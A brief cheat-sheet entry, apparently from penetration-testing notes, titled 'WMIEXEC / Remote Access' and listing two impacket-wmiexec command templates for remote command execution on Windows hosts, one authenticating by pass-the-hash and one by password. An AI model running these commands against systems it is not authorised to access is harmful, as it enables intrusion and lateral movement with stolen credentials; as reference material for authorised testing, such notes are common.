WMIEXEC

Remote Access

$ impacket-wmiexec <domain>/<user>@<IP> -hashes :<hash>

$ impacket-wmiexec <domain>/<user>:<password>@<IP>